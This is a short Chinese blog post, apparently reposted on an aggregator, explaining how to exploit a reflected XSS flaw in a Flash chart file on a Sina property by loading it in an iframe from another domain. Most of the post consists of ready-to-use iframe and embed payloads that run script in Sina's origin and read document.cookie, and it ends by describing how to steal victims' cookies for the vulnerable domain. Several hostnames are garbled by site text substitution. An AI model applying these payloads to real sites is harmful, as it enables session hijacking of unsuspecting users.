昨天在测试WEBQQ的时候,利用了这个,回头又在本地测试了一下。 ---------------------------------------------------- 在本地localhost建一个页面,进行了以下测试。 通过iframe调用传统的反射型XSS,因为iframe页面不同域,被IE9过滤器过滤掉,不执行。 <code> <iframe/src="http://xsst.sinaapp测试数据/example/1-1.php?page=<script>alert(document.cookie)</script>"> </code>如果用普通的embed来嵌入FLASH的话,则弹出的是localhost,即当前测试网页的cookies IE下测试:chrome会崩溃. HdhCmsTest2cto测试数据 <code> <embed/src="http://data.house.sina测试数据.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript:'<script>alert(document.cookie)</script>'%22})()"allowscriptaccess="always"></embed> </code>但是用iframe来嵌入FLASH XSS的话,就有意思了 测试代码如下(IE): <iframe/src="http://data.house.sina测试数据.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript:'<script>alert(document.cookie)</script>'%22})()"></iframe>在chrome中,可能会导致 浏览器 崩溃,可以改用以下代码。 <iframe/src="http://data.house.sina测试数据.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){alert(document.cookie)})()"></iframe>运行你会发现,弹出的是新浪域的cookies~ ------------------------------------------ 因此当我们发现HdhCmsTestA测试数据 域名下的一个flash XSS 我们可以在HdhCmsTestB测试数据域名下用iframe嵌入HdhCmsTestA测试数据的flash XSS文件。 当受害者,打开了HdhCmsTestB测试数据的域名时,我们可以成功获取其在HdhCmsTestA测试数据的cookies数据!
查看更多关于基于flash的反射型xss的利用方法 - 网站安全 - 自的详细内容...